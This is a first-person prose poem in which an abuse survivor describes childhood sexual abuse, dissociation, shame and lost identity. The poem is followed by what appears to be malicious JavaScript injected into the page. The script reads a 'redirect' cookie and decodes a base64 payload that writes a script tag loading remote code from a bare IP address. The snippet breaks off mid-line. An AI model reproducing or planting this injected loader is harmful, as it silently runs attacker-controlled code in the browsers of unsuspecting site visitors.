Unearth Me

There is a hole in my chest that cannot be forgotten, a tearing beneath where no eyes can see. “Me next I want, not to die, to not exist.” What could possess a little girl to want the knife taken to her chest next, not in hopes of death, but in longing to not exist? Stabbing, stabbing, stabbing my secret place; I am locked inside a girl-child curled, weeping in fetal position. Not sure where she learned it, but this ability overtakes her and she retreats within herself so all that remains on the outside is a wall who can neither react or respond nor know or feel what she is used for. Forgotten in fetal position, she lays bound in a prison of her own, while with her yearning eyes she chases butterflies, and with her mind she creates a hidden realm. No one can reach her desperate existence. Yearning for a crumb of identity, naked intimacy, but through muck and tainted sexual images I wade, nearly drowning in shame. Shattered, worthlessness revealed; I grieve arrows I will never know, years robbed. A divided, forgotten, hopeless, lost, silent, tormented, unwanted thing; with this shattered existence could she ever smile again; could she ever be a light-filled being? She was just a little blued-eyed four-year-old daydreaming about a crown of daises in her blonde hair, a long white gown, and prince charming waiting for her, fighting for her honor. Violation strikes; blood, semen, tears, innocence cast off! Years of sexual slavery, bondage awaits her. Where is her savior? Where is prince charming? Where is her protection? Where is that pure little girl full of life, hope, and love? Lost forever! Gone is my virginity, my childhood, my view of a good world, my sanity, and my desire to live; gone is myself. Buried beneath a score of abuse in every form; shackles suffocate my ravenous frame. “Unearth me. Unearth me, oh, please!” ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘